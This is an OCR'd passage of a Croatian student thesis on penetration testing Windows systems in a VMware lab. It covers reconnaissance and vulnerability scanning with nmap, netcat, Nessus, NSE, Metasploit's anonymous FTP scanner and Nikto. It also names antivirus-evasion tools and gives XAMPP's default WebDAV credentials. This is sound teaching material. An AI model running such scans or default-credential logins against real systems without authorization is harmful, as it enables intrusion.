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1. UVOD

Testiranje penetracije ili pentestiranje obuhvaca aktivnosti za simuliranje
stvarnih napada kako bi se procijenio rizik povezan s potencijalnim povredama sigurnosti.
S vremena na vrijeme neka kompanija biva izloZena napadu zbog npr. nedovoljno
patchirane verzije softvera. Velike tvrtke s velikim proraCunima za sigurnost postaju zrtve
raznih “SQL injection napada” na svojim web-lokacijama, drustveno-inZzenjerskim
napadima na zaposlenike, te napadima na slabe lozinke. Opseg pentestiranja varira od
klijenta do Kklijenta, kao i zadaci pojedinog pentestiranja. Neki klijenti imat ¢e izvrsnu
sigurnosnu poziciju, dok ¢e drugi imati ranjivosti koje napadacima mogu omoguciti
probijanje zasStite i pristup internim sustavima. Pentesting struka moze se odnositi za
procjenu jedne ili vise prilagodenih web-aplikacija. Osoba “pentester” moze postupati
drustvenim inZenjerskim i klijentskim napadima kako bi dobila pristup klijentovoj internoj
mrezi.Sama osoba (pentester) moze raditi kao insider (ponasa se kao dio kompanije) ili
autsajder (radi izvan organizacije, a simulira napad na nju preko interneta). U ovom radu
biti Ce rije€ o pentesting procesu za Windows sustave za faze od prikupljanja informacija

do post eksploatacije sustava.

1.1 Faze u Pentestingu

Pentestiranje zapocinje fazom prije angazmana, koja ukljuCuje razgovor s
kljentom o njihovim ciljevima za pentest, mapiranje opsega (opseg i parametre
testiranja). U fazi prikupljanja informacija pentester trazi javno dostupne informacije o
klijentu i identificira potencijalne nacine za povezivanje s njegovim sustavima. U fazi
modeliranja prijetnji, ispitiva¢ koristi ovu informaciju za odredivanje vrijednosti svakog
nalaza i utjecaja na klijenta ako je nalaz dopustio napadacu da provali u sustav. Prije neg
pentester zapo&ne napadat sistem koji testira, on provodi analizu ranjivosti. U ovoj fazi
pentester pokuSava otkriti ranjivosti u sustavima koji se mogu iskoristiti u fazi
eksploatacije. UspjeSna eksploatacija na kraju dovodi do faze post eksploatacije u kojoj
se pronalaze osjetljive informacije organizacije, dodatne informacije od interesa, te

pristup ostalim sustavima.



1.1.1 Opis pojedine faze pentestiranja:

Faza preangaZiranja - faza u kojoj se postavlja podloga za pentesting te

razumjevanje uloga klijenta i pentestera. Sami proces pentestiranja je dosta intruzivan te

se treba uzeti vremena za razumijevanje poslovnih ciljeva klijenta za pentest. U ovoj fazi

postavljaju se pitanja tipa: Sto je klijentu najvaznije? Na primjer, vrhunskom online

dobavljacu, sati stajanja mogu znaciti tisuce dolara izgubljenog prihoda pa se pri takvom

procesu pentestinga mora biti posebno osjetljiv.

Terminologija koju koristi ova faza:

Scope (djelokrug); Koje su IP adrese ili hostovi u opsegu, a $to nije u dosegu?
Kakve ¢e akcije klijent dopustiti? Razumije li klijent da ¢ak i jednostavno skeniranje
portova moze srusiti posluzitelj ili usmjerivac?

Prozor za testiranje (eng. The testing window); Klijent ée mozda Zeljeti da testovi
budu izvr§eni samo u odredenim satima ili u odredenim danima.

Kontakt informacije; Odgovara na pitanja: Da |i klijenti preferiraju koriStenje
enkriptiranih email adresa? Koliko kontakata klijent o¢ekuje od pentestera?
‘Karta za oslobadanje zatvorskog vremena“; ako neki dio nije u vlasniStvu
kompanije koju se testira, (npr. zato Sto je hostirana od strane treée strane), treba
provijeriti je li klijent sluzbeno odobren od trece strane za provodenje probnog testa
i oslobadanje od odgovornosti ako nesto pode po “zlu®.

Ugovori o placanju; kada i koliko ¢e pentester biti placen za obavljanje svoje
aktivnosti.

Prikupljanje informacija; tijekom ove faze analiziraju se slobodno dostupni izvori
informacija, te se koriste razni alati za skeniranje (npr. skeniranje otvorenih
portova).

Modeliranje prijetnji; bazirano na dosad prikupljenim informacija pocCinje se
razmisljati kao “haker® i pokuSava upasti u sustav.

Analiza ranjivosti; pentesteri poc€inju aktivno otkrivati ranjivosti kako bi utvrdili
koliko su uspjesne njihove strategije iskoriStavanja. U ovoj fazi vrSi se analiza
osjetljivosti, te je ovo faza koje je naocito “bucna“ sa stajaliSta pentest aktivnosti i

moZze probuditi sumnju da neko pokuSava upasti u sustav.



- Eksploatacija; Faza u kojoj se pokrecCe iskoriStavanje ranjivosti koje smo otkrili
(ponekad koristeCi alat kao Sto je Metasploit) u pokuSaju pristupa klijentovim
sustavima.

- Post ekspolatacija; Tijekom post eksploatacije prikupljaju se informacije o
napadnutom sustavu, traZe se zanimljive datoteke, pokuSavaju podici privilegije
iskoristeog sustava tamo gdje je to potrebno itd. Npr mogu se “ukrasti” hash za
lozinke kako bi se vidjelo moze li ih se preokrenuti ili upotrijebiti za pristup dodatnim
sustavima.

- lzvjeStavanje; Ovdje se prenosi izvjestaj klijentu na smislen nacin. Kaze im se $to
radi ispravno, gdje trebaju poboljSati svoj sigurnosni polozZaj, kako su greske

zapazene i gdje, kako rijesiti probleme i tako dalje.

Tehnicki izvjestaj treba sadrzavati:
1.) Uvod - opis detalja kao Sto su opseg, kontakti i tako dalje.
2.) Prikupljanje podataka — obuhvaéa: detale o nalazima u fazi prikupljanja
informacija. Posebno je zanimljiv otisak klijenta na Internetu.
3.) Procjena ranjivosti - detalji o nalazima iz faze analize ranjivosti.
4.) Provjera eksploatacije - pojedinosti o nalazima iz faze eksploatacije
5.) Post eksploatacija - pojedinosti o rezultatima ispitivanja nakon eksploatacije.

6.) Zaklju¢ak - konacni pregled testa.
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2. POSTAVLJANJE VIRTUALNOG LABORATORIJA ZA
TESTIRANJE

Faza postavljanja laboratorija potreba je kako bi se moglo testirati ranjivosti za neke
operacijske sustave. Ovdje se nastoji postaviti ciline Windows operacijske sustave i operacijski

sustav Kali za pentesting.

2.1 VmMWARE Workstation

Za svrhe pentestinga pozeljno je koristiti operativni sustav predviden za to, a to
je Kali Linux, no najprije se mora postaviti virtualno okruzenje kako bi se moglo simulirati
napadi na Windows operativne sustave. Primjer toga je VMWare player Ciji VMWare
Workstation ima besplatnu probnu licencu u trajanju od 30 dana. Sami VMWare pruza
razne pogodnosti kao $to su moguénosti “snapshootova” i vracanje sustava u prethodno
validno stanje, ako se dogodi neka pogreska ili kvar. On se moZe skinuti na ovoj poveznici

- (http://lwww.vmware.com/products/workstation/).

2.2 Kali Linux i ostali alati potrebni za pentesting

Kali Linux je Linuxova distribucija temeljena na Debianu koja dolazi s velikim
brojem unaprijed instaliranih sigurnosnih alata. Kali Linux koristit ¢e se za napade ciljanih
Windows sustava putem mreze. Zato $to se svi operativni sustavi moraju spremiti u istu
mrezu te se u VMWare-u postavlja “Bridge konekcija”. Bridge mreza povezuje virtualnu
masinu izravno s lokalnom mrezom Kkoristec¢i istu vezu kao i host sustav, te ¢e ona
predstavljati samo joS jedan ¢vor u postoje¢oj mrezi sa svojom IP adresom. Kada je Kali
skinut i uspjesno instaliran moZe se provijeriti njegova IP adresa.Kali bi trebao automatski
povuci IP adresu sa Bridge mreze. Kako bi se to provjerilo mozZe se upisati sljedeca

komanda prikazana na slici ispod :
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rootikali:"¥ ifconfig
etho Link encap:Ethernet HWaddr oo:oc:29:df:7e:4d
inet addr:192.168.20.9 Bcast:192.168.20.255 Mask:255.255.255.0
inets addr: feBo::20c:20FF:fedf:7e4d/64 Scope:link
snip

Slika 1. Ifconfig naredba’

IPv4 adresa za ovaj virtualni stroj (Kali Linux) je 192.168.20.9, kao Sto je istaknuto
masnim slovima na prethodnoj slici. Da bi bilo sigurno kako se Kali Linux moZe povezati

s internetom, moze se pingati mrezu npr. google sa komandom ping kao na slici ispod.

root@gkali:~# ping www.google.com

Slika 2. Ping naredba?

Kada se dobije odgovor, odnosno da “paketi“ nisu izgubljeni, zakljuCuje se da je sve u
redu sa mrezom. Osim Kali Linuxa potrebno je instalirati alate, a oni su : Nessus, The
Ming C Compiler (cross compiler C koda za pokretanje na Microsoft Windows sustavima),
program Hyperion za Sifriranje (za zaobilaZzenje antivirusnog softvera). Potrebno je jo$
instalirati Veil-Evasion, a to je alat koji generira “payload” koji se moze Koristiti za
zaobilazenje uobi€ajenih antivirusnih rjeSenja, te alat Ettercap za izvodenje “Man-in-the-
middle“ napada. Prije pokretanja Ettercapa potrebno mu je promijeniti konfiguracijsku
datoteku u nekom tekst editoru npr. nano /etc/ettercap/etter.con, a zatim tamo podesiti
vrijednosti userid i groupid na 0 tako da Ettercap ima root privilegije. Primjer toga prikazan

je na slici sa sljedece stranice.

[privs]
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default

Slika 3.a. Konfiguracijska datoteka za Ettercap?®

" Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 16
2 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 17

3 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 22
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Kada se to napravi, u istoj toj datoteci moze se skrolati te se ukloni znak # (koji oznacava

komentar) na potrebnim mjestima (slika 3.b).

# if you vuse iptables:
@redir command on = "iptables -t mat -A PREROUTING -i ¥iface -p tcp --dport ¥port -j

REDIRECT --to-port Frport”
@redir_ coomand off = "iptables -t nat -D PREROUTING -i ¥iface -p tcp --dport Zport -j
REDIRECT --to-port Zrport”

Slika 3.b. Konfiguracijska datoteka za Ettercap*

2.3 Ciljni Windows sustavi

Kada su instalirani svi potrebni alati za pentesting, treba se joS naprauviti
Windows “Zrtve“ posto se promatra windows operativne sustave. Za svaki Windows, u
ovom slu€aju Windows 7 i windows xp moZe se napraviti posebno unutar VMWare-a. Pri
instalaciji Windowsa xp odabere se bridge konekcija i mrezni adapter. Jedna od bitnih
stvari 8to vrijedi u oba slu€aja (za Windows xp i Windows 7) je ta da se treba postaviti
staticka IP adresa kako se ona ne bi mjenjala tijekom DHCP-a, te ¢e se tako uvijek znati
koji operacijski sustav ima koju IP adresu. Za Windows xp statiCka IP adresa se moze
staviti kada se ide redom na Control panel = Network and Internet Connections =
Network Connections =» Local Area Connection =» Properties = Internet Protocol
(TCP/IP) =» Properties. Kada se dode do Zeljenje destinacije onda se dobije slika koja je

slicna ispod, te se oznaci radio gumb “Use the following IP address®.

* Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 22
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Intemnet Protocel Version 4 (TCP/IP) Properties T@

Slika 4. Postavljanje staticke IP adrese®

Zadnja stvar $to se moZe napravit kako bi se provjerila sigurnost Windows okruzenja je
da se ugasi firewall kod Windows xp sustava, instaliraju razni nepatchirani softveri,
odnosno njihove ranije verzije, te kod Windows 7 sustava moze se ugasiti Windows

azuriranje (Windows update). Tako se zavrSava postavljanje virtualnog laboratorija te

> Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 51
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3. PROCJENA

U fazi procjene bitno je potraziti informacije o klijentu za kojeg se vrsi
pentestiranje i ovamo se koriste razne metode prikupljanja informacija. Takoder koristi

se i mnostvo alata koji su dio Kali operacijskog sustava.

3.1 Prikupljanje informacija (eng. Information gathering)

Cilj ove faze je nauciti sto viSe o klijentima. Otkriva li CEO (skra¢eno od eng.
Chief executive officer ili direktor firme predstavlja najviSe rangirani polozaj osobe unutar
kompanije ili neke druge institucije). previde informacija na drustvenim mrezama? Koji
softver rade na njihovim web posluziteljima, koji portovi su otvoreni i sl. Nije moguce
prouciti online zivot svakog zaposlenika, a obzirom na veliku koli€inu prikupljenih

informacija, tesko je razlikovati vazne podatke u Sumi podataka.

3.2 Netcraft

Ponekad informacije koje web-posluzitelji i tvrtke za web-hostinge okupljaju i
javno objavljuju mogu puno re¢i o web-lokaciji. Na primjer, tvrtka pod nazivom Netcraft
biljezi vrijeme neprekidnog rada i postavlja upite o osnovnom softveru. Npr. ako se otide
na http://www.netcraftcom/ i upiSe naziv neke stranice na primjer
http://www.bulbsecurity.com dobiju se informacije. Neke od informacija koje se dobiju su
da je stranica registrirana preko GoDaddy, ima IP adresu od 50.63.212.1 i pokrece Linux
s Apache web posluziteljem, posto koristi Linux moZze se iskljuciti za Windows pentesting
posto ne spada u domenu ovog zavrsnog rada. Kada bi pronasli stranicu koja koristi

Windows OS mogli bi se pronaci exploite za takav sustav.

3.3 Whois Lookups

Svi registratori domena vode zapise o domenama koje hostiraju. Ti zapisi sadrze
podatke o vlasniku, uklju¢ujuéi podatke za kontakt. Na primjer, ako se pokrene naredba
Whois sintakse whois <naziv stranice> na Kali sustavu za upit o informacijama o pojedinoj
stranici mogu se dobiti razni podaci kao Sto su tip registracije (privatan/javan), servere

domene i slicne pogodnosti.
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3.4 Nslookup

Nslookup radi na otkrivanje IP adrese koriste¢i DNS posluZitelj koji prevodi

ljudski Citljiv URL adresu u IP adresu. Nslookup ima sintaksu slichu kao whois lookup, a

ona je nslookup <naziv stranice>. Takoder moze se reCi Nslookupu da pronade

posluzitelje e-poSte za istu web-lokaciju traze¢i MX zapise Sto je za stranicu

www.bulbsecurity.com opisano slikom ispod.

rooti@kali:~# nslookup

» set type=mx

» bulbsecurity.com

Server: 15.-75%.75.T5

Address: 75.75.75. 75853

Non-authoritative answer:

bulbsecurity. com
bulbsecurity.com
bulbsecurity.com
bulbsecurity.com
bulbsecurity. com

mail
mail
mail
mail
mail

exchanger
exchanger
exchanger
exchanger
exchanger

40 ASPMI2.GOOGLEMATL . com.

20 ALT1.ASPMX.L.GOOGLE . com.

50 ASPMX3.GOOGLEMATL . com.

30 ALTZ.ASPMX.L.GOOGLE. com.

10 ASPMX. L .GOOGLE . com.

Slika 5. Prikaz nslookup naredbe.6

Nslookup kaze da bulbsecurity.com koristi Google Mail za svoje posluZitelje e-poste,

slicno se moze provijeriti i za ostale stranice.

3.5 Host naredba

Drugi usluzni program za DNS upite je host. Moze se od Hosta traziti imena

posluzitelja koristeéi sintaksu host -t ns <naziv domene>. Sa programom host moze se

pogledati da li postoje prenosne zone (eng. Zone transfers). Prijenosne DNS zone

omogucuju posluziteljima imena da repliciraju sve unose o domeni. Pri postavljanju DNS

posluzitelja obi¢no postoji primarni posluzitelj imena i rezervni posluZzitelj. Nazalost, mnogi

administratori sustava nesigurno postavljaju DNS zonu, tako da svatko moze prenijeti

DNS zapise za domenu.

6 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 117
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3.6 Trazenje informacija o web stranici

Dobra sigurnosna praksa je izlaganje samo onih usluga kojima se mora pristupiti
na daljinu, kao $to su web posluZzitelji, posluzitelji poste, VPN posluZzitelji, a mozda i SSH
ili FTP, i samo one usluge koje su kriticne za misiju pentestera. Korisno je koristiti Python
alat koji se zove Harvester kako bi se brzo pretrazilo tisuce rezultata trazilice za moguce
adrese e-poste. Harvester moze automatizirati pretrazivanje Google, Bing, PGP, LinkedIn
i drugih za adrese e-poste. Jedan od primjera sintakse za harvester je: theharvester -d
bulbsecurity.com -I 500 -b all koja ¢Ce pretraziti 500 rezultata u svim pretraziocima za

domenu bulbsecurity.com te ispisati vrijedne podatke za trazenu domenu.

3.7 Skeniranje portova

Svakog uspjesnog pentestera zanimat ¢e skeniranje koji portovi su otvoreni i
koje ranjivosti softveri na njima nose. Npr. kada bi se koristo netcat alat za analizu portova
kod Windows xp sustava koji ima nepatchiranu verziju SLMail 5.5.0.4433 na portu 25
(Send message transport protocol) mozZe se jednostavnim pretrazivanjem u pregledniku
pronaci exploit za takav sustav. Netcat naredba koja daje verziju softvera na portu 25 vidi

se ispod na slici.

root@kali:~# nc -wvv 192.168.20.10 25

nc: 192.168.20.10 (192.168.20.10) 25 [smtp]® open
nc: using stream socket

nc: using buffer size §192

nc: read 66 bytes from remote

220 bookxp SMTP Server 5Lmail 5.5.0.4433 Ready
ESMTP spoken here

nc: wrote 66 bytes to local

Slika 6. Prikaz kori$tenja netcat naredbe.’

3.8 Skeniranje portova sa Nmap-om
Zastitni zidovi (eng. Firewall) sa sustavima za otkrivanje i sprjeCavanje upada

uCinili su velike korake u otkrivanju i blokiranju skeniranja prometa, tako da se moze

7 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 124
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pokrenuti Nmap skeniranje i nai¢i na nikakve rezultate. Nije uvijek slucaj ako je svaki port
otvoren da je ujedino i ranjiv, a sami klijenti mogu imati “bannere” razli€itih verzija i tako

zbuniti pentestere i odvest ih na potpuno krivo mjesto.

3.9 SYN skeniranje

SYN (skracéeno za sinkronizaciju, je TCP paket poslan na drugo ra¢unalo sa
zahtjevom da se uspostavi veza izmedu njih) skeniranje je TCP skeniranje koje ne
zavrSava TCP rukovanje (eng. Handshake). TCP veza zapocCinje trosmjernim
uskladivanjem: SYN->SYN-ACK->ACK.

SYN skeniranje najbolje objasnjava slika ispod.

Slika 7. SYN skeniranje®

Kod SYN skeniranja, Nmap Salje SYN i ¢eka SYN-ACK ako je port otvoren, ali nikad ne
Salje ACK (skraceno od eng. rijeCi acknowlagement) da dovrsi vezu. Ako SYN paket ne
dobije SYN-ACK odgovor, spajanje nije moguce (port je zatvoren ili je konekcija filtrirana).
Sintaksa -sS je za SYN skeniranje, a zastavica -oA govori Nmapu da zabiljezi rezultate
u svim formatima: .nmap, .gnmap (nmap kojeg se moze manipulirati sa grep naredbom
za pretrazivanje informacija) i XML. Puna sintaksa je: nmap -sS <skup IP adresa za
Skeniranje> -oA<naziv datoteke za output>. Kada se specificira raspon IP adresa onda

se dobije ispis za Windows xp i Windows 7.

8 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 125
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Mmap scan report for 192.168.20.10 Mmap scan report for 192.168.20.12

Host is up (0.000565 latency). Host is up (0.0014s latency).
Not shown: 991 closed ports Not shown: 999 filtered ports
PORT STATE SERVICE PORT STATE SERVICE

21/tcp open fip ©

25/tcp open smtp ©
8o/tcp open http ©
106/tcp open pop3pw ©
110/tcp open pop3 ©
135/tcp open msIpC

139/tcp open netbios-ssn @
443/tcp open https ©

80/tcp open http ®
135/tcp open mSIpC
MAC Address: 00:0C:29:62:05:C8 (VMware)

Slika 8.a (lijeva). Nmap za Windows xp® Slika 8.b (desna). Nmap za Windows 7°

Na gornje prikazanoj slici vidljivo je da Windows xp ima otvoren FTP server (eng. File
transport protocol), SMTP, SMB server i ostale za koje se mozZe pronaci exploit, dok pak
Windows 7 sluda na portu 80 koji je tipiCan za HTTP servere, i portu 135 za udaljeno
pozivanje procedura (eng. Remote procedure call). Windows xp slu$a na jo$ nekoliko
otvorenih portova kao sto je port 106 i port 3306 na kojem se nalazi mysql server (koji se
ne vidi na slici). Slicno se moZe napraviti i za skeniranje verzije, ali bi prethodna sintaksa
imala onda zastavicu -sV koja govori verziju softvera na otvorenim portovima. Oba
skeniranja SYN i verzije Nmapa su TCP skeniranja koja ne ispituju UDP portove. Bududi
da UDP nije povezan, logika skeniranja je malo drugacija. Dodaje se zastavica -sU pri
¢emu Nmap Salje UDP paket prema nekom portu. Ako Nmap dobije odgovor, port se
smatra otvorenim. Ako je port zatvoren, Nmap ¢e primiti poruku “ICMP Port Unreachable®.
Ako Nmap ne dobije odgovor moguce da je port otvoren, ali softver ne odgovara na Nmap

upit ili je promet namjerno blokiran ili filtreriran.

9 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 126

10 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 126
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4. PRONALAZENJE RANJIVOSTI

Prilikom prepoznavanja ranjivosti aktivno se traze pitanja koja ¢e dovesti do
ustupaka u daljnjoj fazi ekspolatacije. PaZljivo prou€avanje ranjivosti od strane vjestog
pentestera donosi bolje rezultate od bilo kojeg alata. Ovamo ¢e se prikazat metode

analize ranjivosti.

4.1 Nessus

Nessus je open-source mrezni skener ranjivosti koji koristi arhitekturu Common
Vulnerabilities i Exposures za jednostavno unakrsno povezivanje uskladenih sigurnosnih
alata i koristi skriptski jezik NASL koji opisuje jedinstvene prijetnje i potencijalne napade.
Sama arhitektura Nessusa je ta da njegovi centralizirani serveri provode skeniranje, a
udaljeni klijenti dopustaju administratorsku interakciju. Kako bi se zapoCeo nessus koji je
instaliran u fazi namjestanja virtualnog laboratorija, pokreée se u terminalu naredba -
service nessusd start. Besplatna verzija Nessusa je limitirana ne skeniranje 16 IP adresa,
ali se najprije treba registrirati na Nessus. Kada se registrira na Nessus postoje razni
moduli. Najprije se moze odabrati polica (eng. Policy) u kojem pentesteri upisuju razne
pogodnosti kao Sto su naziv police, vidljivost (privatna ili javna), te opis police. Zatim ¢e
Nessus upitati koja vrsta skeniranja Ce se izvrSavati. Ako se odabere interno (unutanje)
skeniranje, najbolje je odabrati defaultne kredencijale kako bi se lakSe skenirale ranjivosti,
ali posto je postavljen virtualni laboratorij i skeniranje je eksterno, to se polje moze ostaviti
prazno. U tabu za skeniranje ide se redom na Scans=>New Scan, te se odabere polica
koje je prethodno kreirana i IP adrese ciljnih sustava koji se skeniraju. Nessus provodi
seriju analiza protiv cilja (Windows sustava) u pokusSaju da otkrije ili isklju€i Sto viSe
problema. Kada se skeniranje zavrsi, klike se za pogledati rezultate. Nessus Ce izbaciti

graf sli€an onom na slici ispod.
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Slika 9. Primjer prikaza ranjivosti za Windows sustave'

Nessus je pronasao nekoliko kriticnih ranjivosti na sustavu Windows XP i samo neke
informacije za Windows 7 sustav. Za Windows xp Nessus pronalazi da mu fali MS08-067
patch. Klikom na MS08-067 ranjivost prikazan je kod za iskoristavanje za ovu ranjivost u
Metasploitu kao i drugim alatima. Treba joS napomenuti da je Nessus rankiranje bazirano
na jakosti utjecaja na sustav kada se ranjivost iskoristi. Na primjer, Nessus rangira
anonimni FTP pristup kao ranjivost srednjeg rizika. Medutim, kada je ograniCen na
besmislene datoteke, anonimni FTP pristup moze imati nizak ili nepostojeci rizik. Kod
FTP servera postoji problem da se moze pristupiti najve¢em klijentu tako da se osoba
prijavi kao anonimna na FTP posluZitelju $to onda napada¢ moze iskoristiti i izazvati
razne probleme na sustavu klijenta. Na kraju Nessus moZe eksportirati izvjeStaj o
ranjivostima u raznim formatima kao $to su pdf, html, csv itd... Ovdje se ne zavrSava
proces pentestiranja, nego bi se pronadene slabosti najbolje trebale kombinirati sa

ostalim metodama prikupljanja informacija opisanim ranije u ovom radu.

4.2 Nmap scripting engine (NSE)

Jedna je od najmocnijin i najfleksibilnijin znacajki Nmapa. Omogucuje
korisnicima pisanje (i dijeljenje) jednostavnih skripti za automatizaciju raznih zadataka
umrezavanja. Te se skripte zatim izvrSavaju paralelno s brzinom i u€inkovito$¢u koja se
oCekuje kod Nmapa. Kada se otkrije nova ranjivost, Cesto se Zeli brzo skenirati mreza
kako bi se identificirali ranjivosti sustave prije negativnhog ponasanja. lako Nmap nije

sveobuhvatni skener ranjivosti, NSE je dovoljno snazan da se nosi s €ak i zahtjevnim

11 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 139
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provjerama ranjivosti. U NSE pentesteri mogu Koristiti skripte koje se nalaze na lokaciji
/usr/share/nmap /scripts, te kreirati svoje skripte. Kod koriStenja zastavice -sC u Nmapu
za skeniranje skripti uz skeniranje porta, pokrenut ¢e se sve skripte u defaultnoj kategoriji.
Kod pokretanje naredbe nmap -sC 192.168.20.10-12 za skeniranje zZeljenih sustava dobit
Ce se informacije o otvorenim portovima. Za Windows sustav, NSE pronalazi mnostvo
informacija kao npr. VRFY (slika br.10.a) naredbu, koja omogucuje da se vidi postoji li
korisniCko ime na posluzitelju e-poste. Ako pentester ima valjano korisnicko ime, upotreba
ove naredbe ucinit e vjerojatnije da ¢e napadi na kredencijale vrlo vjerojatno uspjeti.
Takoder na slici br.10.b) se moze vidjeti verzija XAMPP 1.7.2 koja je zastarjela. Zanimljivo
je sa slike br. 10.b) vidjeti kako MySQL posluZitelj na portu 3306 ne dopusta povezivanje
jer IP adresa nije ovlastena. Vrijedi napomenuti da za ostale operacijske sustave lako je
iskoristiti NFS koji dopusta klijentskim uredajima da pristupe lokalnim datotekama preko
mreze kojeg je teSko implementirati da funkcionira na siguran nacin, te ako ga NSE

pronade onda smo na dobrom putu da se ta slabost iskoristi.

25/tcp  open smtp
| smtp-commands: georgia.com, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY@®, EXPN, ETRN, XTRN,
| This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP

Slika 10.a. Prikaz otvorenog smtp porta'?

| http-title: XAMPP 1.7.2 ©

| Requested resource was http://192.168.20.10/xampp/splash.php

--snip--

3306/tcp open mysql

| mysql-info: MySQL Error detected!

| Error Code was: 1130

| Host '192.168.20.9' is not allowed to connect to this MySQL server ©
--snip--

Slika 10.b. Verzija XAMPP-a'3

12 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 144

13 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 144
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4.3 Metasploit moduli za skeniranje

Metasploit je jedan od najjaCih oruzja za pronalazenje ranjivosti (o kojem ce biti
viSe rijeCi dalje u ovom radu) ima moc¢ skeniranja koja proizlazi iz silnih pomoénih modula.
Jedan takav Metasploit modul trazi FTP usluge koje pruzaju anoniman pristup. Sintaksa
za skeniranje FTP-a, gdje RHOST (eng. Remote host) predstavlja IP adresu ciljnih

sustava za testiranje i dobivenih rezultata prikazana je slikama ispod.

msf > use scanner/ftp/anonymous

msf auxiliary(anonymous) > set RHOSTS 192.168.20.10-11
RHOSTS => 192.168.20.10-11
msf auxiliary(anonymous) > exploit

[*] 192.168.20.10:21 Anonymous READ (220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de) @
220 Please visit http://sourceforge.net/projects/filezilla/)

Slika 11.a. Koristenje ftp skenera sa anonimnom prijavom™

[*] Scanned 1 of 2 hosts (050% complete)

[*] 192.168.20.11:21 Anonymous READ (220 (vsFTPd 2.3.4)) ©
[*] Scanned 2 of 2 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(anonymous) >

Slika 11.b. Uspjesnost eksploatacije ftp servera'®

Vidljivo je da su Windows ciljevi omoguceni s anonimnim FTP-om, a koliko to predstavlja
problem je diskutabilno. U praksi se deSavalo da kompanija ima trgovacke tajne na FTP
posluzitelju koji ima pristup internetu. Takoder ¢esto se deSavalo koriStenje anonimnog

FTP-a opravdano iz poslovne perspektive, a gdje nije bilo osjetljivih datoteka.

14 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 146

15> Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 147
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4.4 Skeniranje WEB aplikacija
lako klijentove prilagodene aplikacije mogu imati sigurnosne probleme, cil]
pentestera takoder moze primijeniti unaprijed izradene web-aplikacije, kao Sto su

aplikacije za obraCun placa, web-posta i tako dalje, Sto moze biti ranjivo na iste probleme

4.5 Nikto za WEB testiranje

Ova usluga testiranja moze se koristiti za testiranje web-mjesta, virtualnog hosta
i web-posluzitelja zbog poznatih sigurnosnih propusta i pogresnih konfiguracija. Da bi se
pokrenuo Nikto u odnosu na neki sustav, Kkoristi se sintaksa nikto -h <ip_adresa_hosta>.
Kada se pokrene nikto otkriva se ranjiva instalacija TikiWiki softvera na posluzitelju.
Pregledom TikiWiki direktorija na http://192.168.20.11/ tikiwiki /, pronalazi se CMS
(Customer Management Service) softver. Zastarjela verzija TikiWikija sadrzi ranjivost

koja omogucuje udaljenom napadacu da izvrSava proizvoljni PHP kod.

4.6 Ostale pogodnosti u ovoj fazi

Windows xp sustav ima manu $to sadrzi zastarjelu verziju XAMPP-a (verzija
1.7.2) koja uklju€uje phpMyAdmin bazu podataka , koja u ovom slu€aju sadrzi defaultne
kredencijale. Jo§ gore, phpMyAdmin daje root pristup na istom MySQL posluZitelju za
kojeg je NSE rekao da se nije u mogucnosti povezati na njega. XAMPP je u ranijim
verziama dolazio sa uklju¢enim WebDAV softverom koji se Kkoristi za upravljanje
datotekama na web serveru preko HTTP protokola. Laganom pretragom na internetu
dolazi se do informacija da XAMPP-ova instalacija WebDAV-a dolazi sa zadanim
korisniCkim imenom i zaporkom wampp: xampp. Za interakciju sa WebDAYV posluZziteljom
moze se koristiti alat Cadaver koji pruza napadacu da manipulira sadrzajem na web
serveru ili Cak ubaci neku skriptu s kojom bi mogao preko web servera preuzeti zrtvin

sustav.
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5. HVATANJE PROMETA (eng.Capturing Traffic)

Ovdje se nastoji simulirati unutrasnji napad, kada haker ima pristup mrezi te se
pokuSava prikupiti promet kao Sto su korisnicko ime i zaporka, no samo prikupljanje
prometa uzima previSe podataka koje je najbolje filtrirati koriStenjem programa kao $to je
Wireshark. Treba napomenuti da se vecina mreza bazira na switch tehnologiji koja za
razliku od hubova $alje pakete samo na mjesta za to predvidena dok hubovi Salju na sve
uredaje te oni odluCuju da li ¢e paket zadrzat ili ne. ViSe manje sve kompanije danas

uglavnom imaju switch tehnologiju, te Ce se ista analizirati programom Wireshark.

5.1 Wireshark

Wireshark, mrezni alat za analizu ranije poznat kao Ethereal, presrece pakete u
stvarnom vremenu i prikazuje ih u ljudskom ¢itljivom formatu. Wireshark ukljucuje filtre,
kodiranje u boji i druge znaCajke koje omogucuju da se duboko ude u mrezni promet i
pregleda pojedinacne pakete. Sa komandom wireshark u Kaliju pokre¢e se program
Wireshark. Zatim se u Wiresharku ide na Capture=»Options, te se u opcijama u ovom
slu¢aju izabire ethO mrezno sucelje (eng.interface). Treba se iskljuciti i promiskuitetni
nacin na svakom sucelju kako bi dohvaceni rezultati bili slicniji fiziCkoj switch mrezi nego
virtualnoj mrezi. Kada se to odabere klikne se na Capture=>»Start kako bi se pokrenulo
‘dohvacanje paketa“. Kako bi se ilustriralo da se zbilja radi o switch mrezZi, moze se
povezat Kali preko FTP protokola na Windows xp pomoc¢u komande u Kali Linuxu ftp
192.168.20.10 (slika br.12) , gdje je prikazana IP adresa od Windows xp virtualne masine.
Kao Sto je prethodno reCeno u radu, Windows xp FTP dopusta “anonymous® kao

korisniCko ime da se poveZe na njega, dok Sifra moZe biti bilo koja.

rootikali:~# ftp 192.168.20.10

Connected to 192.168.20.10.

